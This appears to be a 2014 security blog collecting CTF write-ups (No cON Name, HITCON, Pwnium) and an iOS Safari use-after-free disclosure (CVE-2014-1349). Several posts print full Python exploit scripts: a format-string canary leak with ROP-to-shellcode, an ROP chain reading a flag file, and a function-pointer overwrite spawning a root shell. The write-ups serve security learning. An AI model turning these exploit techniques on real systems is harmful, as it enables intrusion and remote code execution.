Thursday, September 18, 2014

No cON Name CTF Quals 2014 - eXPLicit 500 - [Team SegFault]

We got a statically linked linux 32-bit ELF with NX and stack canary. It had 2 vulnerabilities - format string and buffer overflow, which are easy to find. The idea of the exploit is below:

[*] Leak stack canary using format string vulnerability
[*] Overwrite saved EIP using buffer overflow and call mmap() to allocate memory with RWX permission
[*] Copy shellcode to newly allocated memory using read()
[*] Jump to the shellcode

Since the executable is statically linked we cannot make libc calls, but there is plenty of gadgets to make syscalls.

Here is the full exploit:
#!/usr/bin/env python

import re
import sys
import time
import struct
import telnetlib
import shellcode

ip = "127.0.0.1"
ip = "88.87.208.163"
port = 7070

con = telnetlib.Telnet(ip, port)
QUIT = "q"

# leak canary using format string vuln
con.write("%90$08x\n")
time.sleep(1)
t = con.read_very_eager()
match = re.search("[a-f\d]{8}", t)
if match: canary = struct.pack("<I", int(match.group(),16))
else: sys.exit(0)

# overflow buffer
payload  = QUIT
payload += "A" * 255
payload += canary
payload += "A" * 12

# Setup for mmap()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 7)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0808e0dc) # pop eax ; pop ebx ; pop ebp ; pop esi ; pop edi ; ret
payload += struct.pack("<I", 0xc0)
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 34)
payload += struct.pack("<I", 0x0)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Setup for read()
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 1024)
payload += struct.pack("<I", 0x0809df7c) # xchg eax, edx ; ret
payload += struct.pack("<I", 0x080499f5) # pop esi ; ret
payload += struct.pack("<I", 0x080d6080) # bss address
payload += struct.pack("<I", 0x080cf0a2) # pop ecx ; or cl, byte [esi] ; or al, 0x43 ; ret
payload += struct.pack("<I", 0x0badc000)
payload += struct.pack("<I", 0x080bee58) # pop eax ; ret
payload += struct.pack("<I", 0x3)
payload += struct.pack("<I", 0x08048139) # pop ebx ; ret
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", 0x08061240) # int 0x80 ; ret

# Jump to shellcode
payload += struct.pack("<I", 0x0badc000)

con.write(payload + "\n")
con.read_until("Bye\n")
con.write(shellcode.DUP2 + shellcode.EXECVE + "\n")
print "[*] Got shell"
con.interact()
Flag for the challenge is NcN_97740ead1060892a253be8ca33c6364a712b21d2

No cON Name CTF Quals 2014 - imMISCible 200 - [Team SegFault]

We were given a gzip compressed file which had the rot13 encoded python source for the challenge. The source had python bytecode which could be disassembled using dis module.
if __name__ == "__main__":
    codeobj = marshal.loads(bytecode.decode('base64'))
    f = new.function(codeobj, globals(), "f", None, None)

dis.dis(f)

  2           0 LOAD_CONST               0 (-1)
              3 LOAD_CONST               1 (('sha1',))
              6 IMPORT_NAME              0 (hashlib)
              9 IMPORT_FROM              1 (sha1)
             12 STORE_NAME               1 (sha1)
             15 POP_TOP             

  3          16 LOAD_CONST               0 (-1)
             19 LOAD_CONST               2 (('getenv',))
             22 IMPORT_NAME              2 (os)
             25 IMPORT_FROM              3 (getenv)
             28 STORE_NAME               3 (getenv)
             31 POP_TOP             

  4          32 LOAD_NAME                3 (getenv)
             35 LOAD_CONST               3 ('NO_CON_NAME')
             38 LOAD_CONST               4 ('')
             41 CALL_FUNCTION            2
             44 LOAD_CONST               5 ('Y')
             47 COMPARE_OP               2 (==)
             50 POP_JUMP_IF_FALSE      147

  6          53 LOAD_CONST               6 (' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d ')
             56 STORE_GLOBAL             4 (flag)

  7          59 LOAD_GLOBAL              4 (flag)
             62 LOAD_CONST               7 (' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f ')
             65 INPLACE_ADD         
             66 STORE_GLOBAL             4 (flag)

  8          69 LOAD_GLOBAL              4 (flag)
             72 LOAD_CONST               8 (' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 ')
             75 INPLACE_ADD         
             76 STORE_GLOBAL             4 (flag)

  9          79 LOAD_GLOBAL              4 (flag)
             82 LOAD_CONST               9 (' 6c 6c 6f 77 3f ')
             85 INPLACE_ADD         
             86 STORE_GLOBAL             4 (flag)

 10          89 LOAD_GLOBAL              4 (flag)
             92 LOAD_ATTR                5 (replace)
             95 LOAD_CONST              10 (' ')
             98 LOAD_CONST               4 ('')
            101 CALL_FUNCTION            2
            104 STORE_GLOBAL             4 (flag)

 11         107 LOAD_GLOBAL              4 (flag)
            110 LOAD_ATTR                6 (decode)
            113 LOAD_CONST              11 ('hex')
            116 CALL_FUNCTION            1
            119 STORE_GLOBAL             4 (flag)

 12         122 LOAD_CONST              12 ('NCN')
            125 LOAD_NAME                1 (sha1)
            128 LOAD_GLOBAL              4 (flag)
            131 CALL_FUNCTION            1
            134 LOAD_ATTR                7 (hexdigest)
            137 CALL_FUNCTION            0
            140 BINARY_ADD          
            141 STORE_GLOBAL             4 (flag)
            144 JUMP_FORWARD             0 (to 147)
        >>  147 LOAD_CONST              13 (None)
            150 RETURN_VALUE        
This translates to below code:
#!/usr/bin/env python

from hashlib import sha1
from os import getenv

#from os import environ
#environ['NO_CON_NAME'] = 'Y'

if getenv('NO_CON_NAME') == 'Y':
    flag  = ' 57 68 61 74 20 69 73 20 74 68 65 20 61 69 72 2d '
    flag += ' 73 70 65 65 64 20 76 65 6c 6f 63 69 74 79 20 6f '
    flag += ' 66 20 61 6e 20 75 6e 6c 61 64 65 6e 20 73 77 61 '
    flag += ' 6c 6c 6f 77 3f '

    flag = flag.replace(' ','').decode('hex')
    flag = 'NCN' + sha1(flag).hexdigest()
    print flag
Flag for the challenge is NCN6ceeeff26e72a40b71e6029a7149ad0626fcf310

Wednesday, August 20, 2014

Hitcon CTF 2014 - Polyglot - Crazy 500

This is not a full solution to the challenge. The challenge was to write a code that could be executed as C, Python 2, Python 3, Ruby and Haskell to print the content of flag file . But I couldn't finish off the Haskell part. Below is the code:
renorobert@ubuntu:/host/HITCON$ cat flag 
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ cat upload.c
#/*
cat = flag = 0
exec("cat<flag;exit;\n__import__('os').system('cat flag');")
"""
*/
void main()
{
char command[] = {'c','a','t',' ','f','l','a','g','\x00'};
system(command);
}/*
"""
#*/
renorobert@ubuntu:/host/HITCON$ python2 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ python3 upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ ruby upload.c
TEST____FLAG
renorobert@ubuntu:/host/HITCON$ gcc upload.c && ./a.out 
TEST____FLAG
Ruby's exec() treats cat<flag as shell command for printing the flag. Python's exec() treats cat<flag as code, thus being treated as conditional statement by initializing cat and flag variables. Then os.system() prints the flag.

Tuesday, August 19, 2014

Hitcon CTF 2014 - RSBO - Pwnable 150 - [Team SegFault]

Challenge binary is an 32-bit ELF, with ASLR and NX enabled. The buffer overflow is straight forward and happens in read() call, thus overwriting saved return address in main function's stack. After this, bytes are swapped by looping over this buffer.
char buffer[0x80];  [EBP-0x60]
size = read_80_bytes(buffer); 
for ( i = 0; i < (signed int)size; ++i ) 
{
    rnd = rand();
    v4 = rnd % (i + 1);   
    v3 = buffer[i];    
    buffer[i] = buffer[v4];  
    buffer[v4] = v3;
}
Random swap could overwrite v4 variable with higer values, there by [buffer+v4] will point to unmapped memory area causing segmentation fault. To avoid this, buffer could be filled with NUL byte till it overwrites the saved EIP. Also we could overwrite the size variable with 0 to terminate the loop using the zero filled buffer, such that payload is not corrupted.

Once all this is done, the final payload to read flag is an ROP chain of open(), read() and write() calls after pivoting the stack into bss section of memory. Below is the final payload:
#!/usr/bin/env python

import struct
from socket import *

ip = '127.0.0.1'
ip = '210.61.8.96'
port = 51342

soc = socket(AF_INET, SOCK_STREAM)
soc.connect((ip,port))

payload  = struct.pack("<I", 0x00) * 26
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804865a) # leave ; ret
payload += struct.pack("<I", 0x00)       # stdin
payload += struct.pack("<I", 0x0804a040) # bss
payload += struct.pack("<I", 1024)       # size

# STAGE 2
payload += struct.pack("<I", 0x41414141) # pop ebp of leave instruction
payload += struct.pack("<I", 0x08048420) # open@plt
payload += struct.pack("<I", 0x0804879e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x080487d0) # Pointer to File
payload += struct.pack("<I", 0x00)       # READ mode

payload += struct.pack("<I", 0x080483e0) # read@plt
payload += struct.pack("<I", 0x0804879d) # pop esi ; pop edi ; pop ebp ; ret
payload += struct.pack("<I", 0x3)        # Descriptor
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

payload += struct.pack("<I", 0x08048450) # write@plt
payload += struct.pack("<I", 0x42424242) # ret
payload += struct.pack("<I", 0x1)        # stdout
payload += struct.pack("<I", 0x0804a040+64) # Buffer
payload += struct.pack("<I", 64)         # Size

soc.send(payload + '\n')
print soc.recv(128)
Flag for the challenge is HITCON{Y0ur rand0m pay1oad s33ms w0rk, 1uckv 9uy}

Friday, August 1, 2014

Apple iOS Safari Use-After-Free Vulnerability - CVE-2014-1349

This is a vulnerability that I found along with my friend Dhanesh while fuzzing iOS Safari in iPad Mini. The POC could trigger a UAF if invalid URLs were used in SRC attribute. Below is the crash
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xe000000c
0x39f7cb26 in objc_msgSend ()
(gdb) info registers
r0             0x166afbe0       376110048
r1             0x32549ee6       844406502
r2             0x30108831       806389809
r3             0x3      3
r4             0x1658cdf0       374918640
r5             0x17826070       394420336
r6             0x0      0
r7             0x27d5ac2c       668314668
r8             0x166afbe0       376110048
r9             0xe0000000       -536870912
r10            0x17826070       394420336
r11            0x32549ee6       844406502
r12            0x3aaab220       984265248
sp             0x27d5ab98       668314520
lr             0x321756e3       840390371
pc             0x39f7cb26       972540710

(gdb) x/4x $r0
0x166afbe0: 0xe0000000 0xe0000000 0x00000002 0x00000032
(gdb) x/s $r1
0x32549ee6:  "lastObject"
(gdb) bt
#0  0x39f7cb26 in objc_msgSend ()
#1  0x321756e2 in <redacted> ()
(gdb) x/i $pc
0x39f7cb26:  b9 f8 0c c0                   ldrh.w       r12, [r9, #12]
The crash occured in objc_msgSend(). The first argument $r0 points to the receiver object and the selector being "lastObject" pointed by $r1. The receiver object pointed by $r0 is freed memory where 0xe0000000 at $r0 and $r0+4 are heap meta-data pointing to next and prevoius free chunks. In this case its NULL. The 3rd DWORD is the quanta size.
0x39f7cb20 <objc_msgSend+0>:  e8 b1        cbz r0, 0x39f7cb5e  -> check for NULL
0x39f7cb22 <objc_msgSend+2>:  d0 f8 00 90  ldr.w r9, [r0]      -> r9 is loaded from r0 which is freed memory ; class = self->isa
0x39f7cb26 <objc_msgSend+6>:  b9 f8 0c c0  ldrh.w r12, [r9, #12] -> r9 + 12 points to cache mask
0x39f7cb2a <objc_msgSend+10>: d9 f8 08 90  ldr.w r9, [r9, #8]  -> r9 + 8 points to cache; cache = class->cache
0x39f7cb2e <objc_msgSend+14>: 0c ea 01 0c  and.w r12, r12, r1  -> index
0x39f7cb32 <objc_msgSend+18>: 09 eb cc 09  add.w r9, r9, r12, lsl #3 -> r9 = cache + index << 3 ; compute cache entry
0x39f7cb36 <objc_msgSend+22>: d9 f8 00 c0  ldr.w r12, [r9]     -> fetch selector
0x39f7cb3a <objc_msgSend+26>: 9c ea 01 0f  teq r12, r1         -> check the selector
0x39f7cb3e <objc_msgSend+30>: 02 d1        bne.n 0x39f7cb46    -> if no cache hit
0x39f7cb40 <objc_msgSend+32>: d9 f8 04 c0  ldr.w r12, [r9, #4] -> fetch address of method
0x39f7cb44 <objc_msgSend+36>: 60 47        bx r12              -> jump to address
With control over freed memory pointed by $r0 and subsequent control over other pointers, one could use bx r12 to control program execution. This issue was assigned CVE-2014-1349 and fixed in iOS 7.1.2.

Monday, July 7, 2014

Pwnium CTF 2014 - Be a Robot - PWN 200 - [Team SegFault]

A 32-bit ELF was given for this challenge. The binary is simple which reads name and age.
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 20
Bye dude ;)
The vulnerability was in atExit function. This is what it looked like:
When the age is set to 0 or less, the function pointer is uninitialized.
 
[root@renorobert Pwnium]# ./pwn200
Name: A
Age: 0
Segmentation fault (core dumped)
To exploit this condition, we need to initialize the function pointer with user controlled data. The read_user function, reads 64 bytes of data using fgets into the stack. Later after this call returns, atExit uses the same stack area, thereby giving a possibility to initialize the value.

The idea of the exploit:
[*] Initialize function pointer with PLT address of system function
[*] Fill the stack with pointer to string 'sh' such that, call eax will transfer control to system() function with 'sh' parameter

Below is the exploit code:
#!/usr/bin/env python

import struct
import os

pipe_r, pipe_w = os.pipe()
pid = os.fork()

if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl("./pwn200", "./pwn200")

os.close(pipe_r)

payload  = struct.pack("<I", 0x08048c01) * 12   # sh string
payload += struct.pack("<I", 0x08048430)        # system()
payload += struct.pack("<I", 0x08048c01) * 3
payload += "0\n"                                # age value to trigger the issue

os.write(pipe_w, payload)
while 1:
    os.write(pipe_w, raw_input() + "\n")
The ctf server was down most of the time, so this exploit was tested only locally.
[root@renorobert Pwnium]# python exploit.py
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Pwnium CTF 2014 - Breakpoints - RE 300 - [Team SegFault]

We were given a 64-bit stripped ELF for this challenge. We need to generate a valid password for this executable.
[root@renorobert Pwnium]# ./re300
Password : A
:(
Analyzing the file in IDA, there was only 2 functions. Main function at 0x040661A and CheckPassword function at 0x040063A. The Main function had nothing interesting except a ptrace call for anti-debugging.

This is what CheckPassword looked like:
The CheckPassword function was large, so we decided to trace the interesting instructions in it, as the program executes. Idea was to supply arbitrary input and trace the execution.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : Z
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40582d: cmp al, 0x64
0x40584c: cmp al, 0x31
0x40586b: cmp al, 0x34
0x40588a: cmp al, 0x2a
0x4058a9: cmp al, 0xb
0x4058c8: cmp al, 0x3d
0x4058e7: cmp al, 0x66
0x405906: cmp al, 0x63
0x405925: cmp al, 0x46
0x405944: cmp al, 0x36
0x405963: cmp al, 0x69
0x405982: cmp al, 0x6d
0x40599a: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The user supplied value is compared against 0x44, 0x64 ,.., 0x6D. But there was no other computations performed. Looks like only comparisons are made with supplied password.
Lets try another run by supplying 0x44(D) as input.
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : D
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
When the comparison succeeds, rest of the checks are skipped. That looked promising. Lets pass 2 bytes input as 'DZ'
[root@renorobert MyPinTool]# pin -t trace.so -- ./re300 
Password : DZ
:(
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400de2: cmp eax, 0xe81c0d24
0x400ded: cmp eax, 0xe81c0d24
0x400e69: cmp eax, 0xf03ad87a
0x400e74: cmp eax, 0xf03ad87a
0x400eb8: cmp eax, 0xf487628c
0x400ec3: cmp eax, 0xf487628c
0x400eda: cmp eax, 0xf6fbb4e5
0x400ee5: cmp eax, 0xfe129837
0x40580e: cmp al, 0x44
0x40581c: add qword ptr [rbp-0x8], 0x1
0x40064d: cmp eax, 0x712a6ee0
0x400658: cmp eax, 0x712a6ee0
0x400aac: cmp eax, 0xb2fc91ab
0x400ab7: cmp eax, 0xb2fc91ab
0x400cd0: cmp eax, 0xdd01eab3
0x400cdb: cmp eax, 0xdd01eab3
0x400ce6: cmp eax, 0xcfcddef9
0x400cf1: cmp eax, 0xcfcddef9
0x400d6d: cmp eax, 0xd81f6c49
0x400d78: cmp eax, 0xd81f6c49
0x400d7f: cmp eax, 0xd28dcea2
0x400d8a: cmp eax, 0xd4f27687
0x400d95: cmp eax, 0xd2283d5c
0x401c5c: cmp al, 0x33
0x401c7b: cmp al, 0x23
0x401c9a: cmp al, 0x36
0x400586: sub rax, 0x606b20
0x40058c: cmp rax, 0xe
The first char is checked against 0x44 which succeeds. The second char is checked against 0x33(3), 0x23 and 0x36. So the next valid char is '3'. Thus by dumping the first checks of each block of comparison we got D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
[root@renorobert Pwnium]# ./re300
Password : D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD
:)
So flag for the challenge is D3bugG1nG_Th1s_ObfuSc4t3d_C0d3_1s_R34lly_H4rD